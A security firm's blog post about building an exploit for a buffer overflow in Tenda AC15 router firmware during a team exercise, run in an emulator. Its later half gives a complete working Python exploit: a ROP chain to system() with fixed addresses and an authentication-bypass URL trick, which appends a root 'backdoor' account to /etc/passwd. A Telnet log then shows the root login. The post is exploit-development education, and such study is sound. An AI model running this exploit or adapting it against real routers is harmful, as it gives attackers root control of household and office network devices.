!exploitable Episode One - Breaking IoT
11 Feb 2025 - Posted by Savio SiscoIntroduction
For our last company retreat, the Doyensec team went on a cruise along the coasts of the Mediterranean Sea. As amazing as each stop was, us being geeks, we had to break the monotony of daily pool parties with some much-needed hacking sessions. Luca and John, our chiefs, came to the rescue with three challenges chosen to make us scratch our heads to get to a solution. The goal of each challenge was to analyze a real-world vulnerability with no known exploits and try to make one ourselves. The vulnerabilities were of three different categories: IoT, web, and binary exploitation; so we all chose which one we wanted to deal with, split into teams, and started working on it.
The name of this whole group activity was “!exploitable”. For those of you who don’t know what that is (I didn’t), it’s referring to an extension made by Microsoft for the WinDbg debugger. Using the !exploitable
command, the debugger would analyze the state of the program and tell you what kind of vulnerability was there and if it looked exploitable.
![Cruise Picture](../../../public/images/costamed.png)
As you may have guessed from the title, this first post is about the IoT challenge.
The Bug
The vulnerability we were tasked to investigate is a buffer overflow in the firmware of the Tenda AC15 router, known as CVE-2024-2850. The advisory also links to a markdown file on GitHub with more details and a simple proof of concept. While the repo has been taken down, the Wayback Machine archived the page.
![Screenshot of the file linked in the advisory](../../../public/images/exploitable-iot-1.png)
The GitHub doc describes the vulnerability as a stack-based buffer overflow and says that the vulnerability can be triggered from the urls
parameter of the /goform/saveParentControlInfo
endpoint (part of the router’s control panel API). However, right off the bat, we notice some inconsistencies in the advisory. For starters, the attached screenshots clearly show that the urls
parameter’s contents are copied into a buffer (v18
) which was allocated with malloc
, therefore the overflow should happen on the heap, not on the stack.
The page also includes a very simple proof of concept which is meant to crash the application by simply sending a request with a large payload. However, we find another inconsistency here, as the parameter used in the PoC is simply called u
, instead of urls
as described in the advisory text.
import requests
from pwn import*
ip = "192.168.84.101"
url = "http://" + ip + "/goform/saveParentControlInfo"
payload = b"a"*1000
data = {"u": payload}
response = requests.post(url, data=data)
print(response.text)
These contradictions may very well be just copy-paste issues, so we didn’t really think about it too much. Moreover, if you do a quick Google search, you will find out that there is no shortage of bugs on this firmware and, more broadly, on Tenda routers – so we weren’t worried.
The Setup
The first step was to get a working setup to run the vulnerable firmware. Normally, you would need to fetch the firmware, extract the binary, and emulate it using QEMU (NB: not including a million troubleshooting steps in the middle). But we were on a ship, with a very intermittent Internet connection, and there was no way we could have gotten everything working without StackOverflow.
Luckily, there is an amazing project called EMUX that is built for vulnerability exploitation exercises, exactly what we needed. Simply put, EMUX runs QEMU in a Docker container. The amazing part is that it already includes many vulnerable ARM and MIPS firmwares (including the Tenda AC15 one); it also takes care of networking, patching the binary for specific hardware checks, and many tools (such as GDB with GEF) are preinstalled, which is very convenient. If you are interested in how the Tenda AC15 was emulated, you can find a blog post from the tool’s author here.
![Screenshot of the file linked in the advisory](../../../public/images/exploitable-iot-2.png)
After following the simple setup steps on EMUX’s README page, we were presented with the router’s control panel exposed on 127.0.0.1:20080
(the password is ringzer0
).
From the name of the vulnerable endpoint, we can infer that the affected functionality has something to do with parental controls. Therefore, we log in to the control panel, click on the “Parental Control” item on the sidebar, and try to create a new parental control rule. Here is what the form looks like from the web interface:
![Screenshot of the file linked in the advisory](../../../public/images/exploitable-iot-3.png)
And here’s the request sent to the API, confirming our suspicion that this is where the vulnerability is triggered:
POST /goform/saveParentControlInfo HTTP/1.1
Host: 127.0.0.1:20080
Content-Length: 154
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: password=ce80adc6ed1ab2b7f2c85b5fdcd8babcrlscvb
Connection: keep-alive
deviceId=de:ad:be:ef:13:37&deviceName=test&enable=1&time=19:00-21:00&url_enable=1&urls=google.com&day=1,1,1,1,1,1,1&limit_type=0
As expected, the proof of concept from the original advisory did not work out of the box. Firstly, because apparently the affected endpoint is only accessible after authentication, and then because the u
parameter was indeed incorrect. After we added an authentication step to the script and fixed the parameter name, we indeed got a crash. After manually “fuzzing” the request a bit and checking the app’s behavior, we decided it was time to try and hook GDB to the server process to get more insights on the crashes.
Through EMUX, we spawned a shell in the emulated system and used ps
to check what was running on the OS, which was actually not much (omitting some irrelevant/repeated processes for clarity):
698 root 0:02 {run-init} /bin/bash ./run-init 1518 root 0:00 {emuxinit} /bin/sh /.emux/emuxinit 1548 root 0:58 cfmd 1549 root 0:00 udevd 1550 root 0:00 logserver 1566 root 0:00 nginx: master process nginx -p /var/nginx 1568 root 0:00 nginx: worker process 1569 root 0:00 /usr/bin/app_data_center 1570 root 0:16 moniter 1573 root 0:00 telnetd 1942 root 0:02 cfmd 1944 root 0:23 netctrl 1945 root 2:00 time_check 1947 root 1:48 multiWAN 1950 root 0:01 time_check 1953 root 0:04 ucloud_v2 -l 4 1959 root 0:00 business_proc -l 4 1977 root 0:02 netctrl 2064 root 0:09 dnrd -a 192.168.100.2 -t 3 -M 600 --cache=2000:4000 -b -R /etc/dnrd -r 3 -s 8.8.8.8 2068 root 0:00 business_proc -l 4 2087 root 0:01 dhttpd 2244 root 0:01 multiWAN 2348 root 0:03 miniupnpd -f /etc/miniupnpd.config 4670 root 0:00 /usr/sbin/dropbear -p 22222 -R 4671 root 0:00 -sh 4966 root 0:07 sntp 1 17 86400 50 time.windows.com 7382 root 0:11 httpd 8820 root 0:00 {run-binsh} /bin/bash ./run-binsh 8844 root 0:00 {emuxshell} /bin/sh /.emux/emuxshell 8845 root 0:00 /bin/sh 9008 root 0:00 /bin/sh -c sleep 40; /root/test-eth0.sh >/dev/null 2>&1 9107 root 0:00 ps
The process list didn’t show anything too interesting. From the process list you can see that there is a dropbear
SSH server, but this is actually started by EMUX to communicate between the host and the emulated system, and it’s not part of the original firmware. A telnetd
server is also running, which is common for routers. The httpd
process seemed to be what we had been looking for; netstat
confirmed that httpd
is the process listening on port 80.
tcp 0 0 0.0.0.0:9000 0.0.0.0:* LISTEN 1953/ucloud_v2 tcp 0 0 0.0.0.0:22222 0.0.0.0:* LISTEN 665/dropbear tcp 0 0 192.168.100.2:80 0.0.0.0:* LISTEN 7382/httpd tcp 0 0 172.27.175.218:80 0.0.0.0:* LISTEN 2087/dhttpd tcp 0 0 127.0.0.1:10002 0.0.0.0:* LISTEN 1953/ucloud_v2 tcp 0 0 127.0.0.1:10003 0.0.0.0:* LISTEN 1953/ucloud_v2 tcp 0 0 0.0.0.0:10004 0.0.0.0:* LISTEN 1954/business_proc tcp 0 0 0.0.0.0:8180 0.0.0.0:* LISTEN 1566/nginx tcp 0 0 0.0.0.0:5500 0.0.0.0:* LISTEN 2348/miniupnpd tcp 0 0 127.0.0.1:8188 0.0.0.0:* LISTEN 1569/app_data_cente tcp 0 0 :::22222 :::* LISTEN 665/dropbear tcp 0 0 :::23 :::* LISTEN 1573/telnetd
At this point, we just needed to attach GDB to it. We spent more time than I care to admit building a cross-toolchain, compiling GDB, and figuring out how to attach to it from our M1 macs. Don’t do this, just read the manual instead. If we did, we would have discovered that GDB is already included in the container.
To access it, simply execute the ./emux-docker-shell
script and run the emuxgdb
command followed by the process you want to attach to. There are also other useful tools available, such as emuxps
and emuxmaps
.
Analyzing the crashes with GDB helped us get a rough idea of what was happening, but nowhere near a “let’s make an exploit” level. We confirmed that the saveParentControlInfo
function was definitely vulnerable and we agreed that it was time to decompile the function to better understand what was going on.
The Investigation
The Binary
To start our investigation, we extracted the httpd
binary from the emulated system. After the first launch, the router’s filesystem is extracted in /emux/AC15/squashfs-root
, therefore you can simply copy the binary over with docker cp emux-docker:/emux/AC15/squashfs-root/bin/httpd .
.
Once copied, we checked the binary’s security flags with pwntool’s checksec:
[*] 'httpd'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
Here is a breakdown of what these means:
NX
(No eXecute) is the only applied mitigation; it means code cannot be executed from some memory areas, such as the stack or the heap. This effectively prevents us from dumping some shellcode into a buffer and jumping into it.RELRO
(Read-Only Relocation) makes some memory areas read-only instead, such as the Global Offset Table (GOT). The GOT stores the addresses of dynamically linked functions. WhenRELRO
is not enabled, an arbitrary write primitive could allow an attacker to replace the address of a function in the GOT with an arbitrary one and redirect the execution when the hijacked function is called.- A stack canary is a random value placed on the stack right before the final return pointer. The program will check that the stack canary is correct before returning, effectively preventing stack overflows from rewriting the return pointer, unless you are able to leak the canary value using a different vulnerability.
PIE
(Position Independent Executable) means that the binary itself can be loaded anywhere in memory, and its base address will be chosen randomly every time it is launched. Therefore, a “No PIE” binary is always loaded at the same address,0x8000
in this case. Note that this only applies to the binary itself, while the addresses of other segments such as shared libraries and stack/heap will still be randomized if ASLR is activated.
Regarding ASLR, we checked if it was enabled by running cat /proc/sys/kernel/randomize_va_space
on the emulated system and the result was 0
(i.e., disabled). We are not sure whether ASLR is enabled on the real device or not, but, given the little time available, we decided to just use this to our advantage.
Because practically all mitigations were deactivated, we had no limitations on which exploit technique to use.
The Function
We fired up Ghidra and spent some time trying to understand the code, while fixing the names and types of variables and functions with the hope of getting a better picture of what the function did. Luckily we did, and here’s a recap of what the function does:
- Allocates all the stack variables and buffers
int iVar1; byte bVar2; bool bVar3; char time_to [32]; char time_from [32]; int rule_index; char acStack_394 [128]; int id_list [30]; byte parsed_days [8]; undefined parent_control_id [512]; undefined auStack_94 [64]; byte *rule_buffer; byte *deviceId_buffer; char *deviceName_param; char *limit_type_param; char *connectType_param; char *block_param; char *day_param; char *urls_param; char *url_enable_param; char *time_param; char *enable_param; char *deviceId_param; undefined4 local_24; undefined4 local_20; int count; int rule_id; int i;
- Reads the body parameters into separate heap-allocated buffers:
deviceId_param = readBodyParam(client,"deviceId",""); enable_param = readBodyParam(client,"enable",""); time_param = readBodyParam(client,"time",""); url_enable_param = readBodyParam(client,"url_enable",""); urls_param = readBodyParam(client,"urls",""); day_param = readBodyParam(client,"day",""); block_param = readBodyParam(client,"block",""); connectType_param = readBodyParam(client,"connectType",""); limit_type_param = readBodyParam(client,"limit_type","1"); deviceName_param = readBodyParam(client,"deviceName","");
- Saves the device’s name and MAC address
if (*deviceName_param != '\0') { setDeviceName(deviceName_param,deviceId_param); }
- Splits the
time
parameter intime_to
andtime_from
if (*time_param != '\0') { for (int i = 0; i < 32; i++) { time_from[i] = '\0'; time_to[i] = '\0'; } sscanf(time_param,"%[^-]-%s",time_from,time_to); iVar1 = strcmp(time_from,time_to); if (iVar1 == 0) { writeResponseText(client, "HTTP/1.1 200 OK\nContent-type: text/plain; charset=utf-8\nPragma: no-cache\nCache-Control: no-cache\n\n"); writeResponseText(client,"{\"errCode\":%d}",1); writeResponseStatusCode(client,200); return; } }
- Allocates some buffers in the heap for parsing and storing the parent control rule
- Parses the other body fields – mostly just calls to
strcpy
andatoi
– and stores the result in a big heap buffer - Performs some sanity checks (e.g., rule already exists, max number of rules reached) and saves the rule
- Sends the HTTP response
- Returns
You can find the full decompiled function in our GitHub repository.
Unfortunately, this analysis confirmed what we suspected all along. The urls
parameter is always being copied between heap-allocated buffers, therefore this vulnerability is actually a heap overflow. Due the limited time and having a very poor Internet connection, we decided to just change the target and try to exploit a different bug.
An interesting piece of code that instantly caught our eye was the snippet pasted in step 4 where the time
parameter is split into two values. This parameter is supposed to be a time range, such as 19.00-21.00
, but the function needs the raw start and end times, therefore it needs to split it on the -
character. To do so, the program calls sscanf
with the format string "%[^-]-%s"
. The %[^-]
part will match from the start of the string up to a hyphen (-
), while %s
will stop as soon as a whitespace character is found (both will stop at a null byte).
The interesting part is that time_from
and time_to
are both allocated on the stack with a size of 32 bytes each, as you can see from step 1 above. time_from
seemed the perfect target to overflow, since it does not have the whitespace characters limitation; the only “prohibited” bytes in a payload would be null (\x00
) and the hyphen (\x2D
).
The Exploit
The strategy for the exploit was to implement a simple ROP chain to call system()
and execute a shell command. For the uninitiated, ROP stands for Return-Oriented Programming and consists of writing a bunch of return pointers and data in the stack to make the program jump somewhere in memory and run small snippets of instructions (called gadgets) borrowed from other functions, before reaching a new return
instruction and again jumping somewhere else, repeating the pattern until the chain is complete.
To start, we simply sent a bunch of A
s in the time
parameter followed by -1
(to populate time_to
) and observed the crash in GDB:
Program received signal SIGSEGV, Segmentation fault. 0x4024050c in strcpy () from target:/emux/AC15/squashfs-root/lib/libc.so.0 ──────────────────────────────────────────────────────────────────────────────── $r0 : 0x001251ba → 0x00000000 $r1 : 0x41414141 ("AAAA"?) $r2 : 0x001251ba → 0x00000000 $r3 : 0x001251ba → 0x0000000 [...]
We indeed got a SEGFAULT, but in strcpy
? Indeed, if we again check the variables allocated in step 1, time_from
comes before all the char*
variables pointing to where the other parameters are stored. When we overwrite time_from
, these pointers will lead to an invalid memory address; therefore, when the program tries to parse them in step 6, we get a segmentation fault before we reach our sweet return instruction.
The solution for this issue was pretty straightforward: instead of spamming A
s, we can fill the gap with a valid pointer to a string, any string. Unfortunately, we can’t supply addresses to the main binary’s memory, since its base address is 0x8000
and, when converted to a 32bit pointer, it will always have a null byte at the beginning, which will stop sscanf
from parsing the remaining payload. Let’s abuse the fact that ASLR is disabled and supply a string directly from the stack instead; the address of time_to
seemed the perfect choice:
- it comes before
time_from
, so it won’t get overwritten during the overflow - we can set it to a single digit, such as
1
, and it will be valid when parsed as a string, integer, or boolean - being only a single byte we are sure we are not overflowing any other buffer
Using GDB, we could see that time_to
was consistently allocated at address 0xbefff510
. After some trial and error, we found a good amount of padding that would let us reach the return without causing any crashes in the middle of the function:
timeto_addr = p32(0xbefff510)
payload = b"A"*880
payload += timeto_addr * 17
payload += b"BBBB"
And, checking out the crash in GDB, we could see that we successfully controlled the program counter!
Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () ──────────────────────────────────────────────────────────────────────────────── $r0 : 0x108 $r1 : 0x0011fdd8 → 0x00120ee8 → 0x0011dc40 → 0x00000000 $r2 : 0x0011fdd8 → 0x00120ee8 → 0x0011dc40 → 0x00000000 $r3 : 0x77777777 ("wwww"?) $r4 : 0xbefff510 → 0x00000000 $r5 : 0x00123230 → "/goform/saveParentControlInfo" $r6 : 0x1 $r7 : 0xbefffdd1 → "httpd" $r8 : 0x0000ec50 → 0xe1a0c00d $r9 : 0x0002e450 → push {r4, r11, lr} $r10 : 0xbefffc28 → 0x00000000 $r11 : 0xbefff510 → 0x00000000 $r12 : 0x400dcedc → 0x400d2a50 → <__pthread_unlock+0> mov r3, r0 $sp : 0xbefff8d8 → 0x00000000 $lr : 0x00010944 → str r0, [r11, #-20] ; 0xffffffec $pc : 0x42424242 ("BBBB"?) $cpsr: [negative zero CARRY overflow interrupt fast thumb]
The easiest way to execute a shell command now was to find a gadget chain that would let us invoke the system()
function. The calling convention in the ARM architecture is to pass function arguments via registers. The system()
function, specifically, accepts the string containing the command to execute as a pointer passed in the r0
register.
Let’s not forget that we also needed to write the command string somewhere in memory. If this was a local binary and not an HTTP server, we could have loaded the address of the /bin/sh
string, that is commonly found somewhere in libc
, but in this case, we need to specify a custom command in order to set up a backdoor or a reverse shell. The command string itself must terminate with a null byte, therefore we could not just put it in the middle of the padding before the payload. What we could do instead, was to put the string after the payload. With no ASLR, the string’s address will be fixed regardless, and the string’s null byte will just be the null byte at the end of the whole payload.
After loading the command string’s address in r0
, we needed to “return” to system()
. Regarding this, I have a small confession to make. Even though I talked about a return
instruction until now, in the ARM32 architecture there is no such thing; a return is simply performed by loading an address into the pc
register, which may be done with many different instructions. The simplest example that loads an address from the stack is pop {pc}
.
As a recap, what we needed to do is:
- write the command string’s address in the stack
- load the address in
r0
- write the
system()
function address in the stack - load the address in
pc
In order to do that, we used ropper to look for gadgets similar to pop {r0}; pop {pc}
, but it was not easy to find a suitable one without a null byte in its address. Luckily, we actually found a nice pop {r0, pc}
instruction inside libc.so
, accomplishing both tasks at once.
With GDB, we got the address of __libc_system
(don’t make the mistake of searching for just system
, it’s not the right function) and calculated the address where the command string would be written to. We now had everything needed to run a shell command! But which command?
We checked which binaries were in the system to look for something that could give us a reverse shell, like a Python or Ruby interpreter, but we could not find anything useful. We could have cross-compiled a custom reverse shell binary, but we decided to go for a much quicker solution: just use the existing Telnet server. We could simply create a backdoor
user by adding a line to /etc/passwd
, and then log in with that. The command string would be the following:
echo 'backdoor:$1$xyz$ufCh61iwD3FifSl2zK3EI0:0:0:injected:/:/bin/sh' >> /etc/passwd
Note: you can generate a valid hash for the /etc/passwd
file with the following command:
openssl passwd -1 -salt xyz hunter2
Finally, here’s what the complete exploit looks like:
#!/usr/bin/env python3
import requests
import random
import sys
import struct
p32 = lambda addr: struct.pack("<I", addr) # Equivalent to pwn.p32
def gen_payload():
timeto_addr = p32(0xbefff510) # addr of the time_to string on the stack, i.e. "1"
system_addr = p32(0x4025c270) # addr of the system function
cmd = "echo 'backdoor:$1$xyz$ufCh61iwD3FifSl2zK3EI0:0:0:injected:/:/bin/sh' >> /etc/passwd" # command to run with system()
cmd_str_addr = p32(0xbefff8e0) # addr of the cmd string on the stack
pop_r0_pc = p32(0x4023fb80) # addr of 'pop {r0, pc}' gadget
payload = b"A"*880 # stuff we don't care about
payload += timeto_addr * 17 # addr of the time_to str from the stack, i.e. "1"
# here we are overwriting a bunch of ptrs to strings which are strcpy-ed before we reach ret
# so let's overwrite them with a valid str ptr to ensure it doesn't segfault prematurely
payload += pop_r0_pc # ret ptr is here. we jump to 'pop {r0, pc}' gadget to load the cmd string ptr into r0
payload += cmd_str_addr # addr of the cmd string from the stack, to be loaded in r0
payload += system_addr # addr of system, to be loaded in pc
payload += cmd.encode() # the "cmd" string itself, placed at the end so it ends with '\0'
return payload
def exploit(target: str):
name = "test" + ''.join([str(i) for i in [random.randint(0,9) for _ in range(5)]])
res = requests.post(
f"http://{target}/goform/saveParentControlInfo?img/main-logo.png", # Use CVE-2021-44971 Auth Bypass: https://github.com/21Gun5/my_cve/blob/main/tenda/bypass_auth.md
data={
"deviceId":"00:00:00:00:00:02",
"deviceName":name,
"enable":0,
"time": gen_payload() + b"-1",
"url_enable":1,
"urls":"x.com",
"day":"1,1,1,1,1,1,1",
"limit_type":1
}
)
print("Exploit sent")
if __name__ == '__main__':
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} IP:PORT")
sys.exit()
target = sys.argv[1]
try:
input("Press enter to send exploit")
exploit(target)
print("Done! Login to Telnet with backdoor:hunter2")
except Exception as e:
print(e)
print("Connection closed unexpectedly")
The exploit worked flawlessly and added a new “backdoor” user to the system. We could then simply connect with Telnet to have a full root shell.
The final exploit is also available in the GitHub repository.
$ telnet 127.0.0.1 20023
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Tenda login: backdoor
Password:
~ # cat /etc/passwd
root:$1$nalENqL8$jnRFwb1x5S.ygN.3nwTbG1:0:0:root:/:/bin/sh
admin:6HgsSsJIEOc2U:0:0:Administrator:/:/bin/sh
support:Ead09Ca6IhzZY:0:0:Technical Support:/:/bin/sh
user:tGqcT.qjxbEik:0:0:Normal User:/:/bin/sh
nobody:VBcCXSNG7zBAY:0:0:nobody for ftp:/:/bin/sh
backdoor:$1$xyz$ufCh61iwD3FifSl2zK3EI0:0:0:injected:/:/bin/sh
Conclusion
After the activity we investigated a bit and found out that the specific vulnerability we ended up exploiting was already known as CVE-2020-13393. As far as we can tell, our PoC is the first working exploit for this specific endpoint. Its usefulness is diminished however, due to the plethora of other exploits already available for this platform.
Nevertheless, this challenge was such a nice learning experience. We got to dive deeper into the ARM architecture and sharpen our exploit development skills. Working together, with no reliable Internet also allowed us to share knowledge and approach problems from different perspectives.
If you’ve read this far, nice, well done! Keep an eye on our blog to make sure you don’t miss the next Web and Binary !exploitable episodes.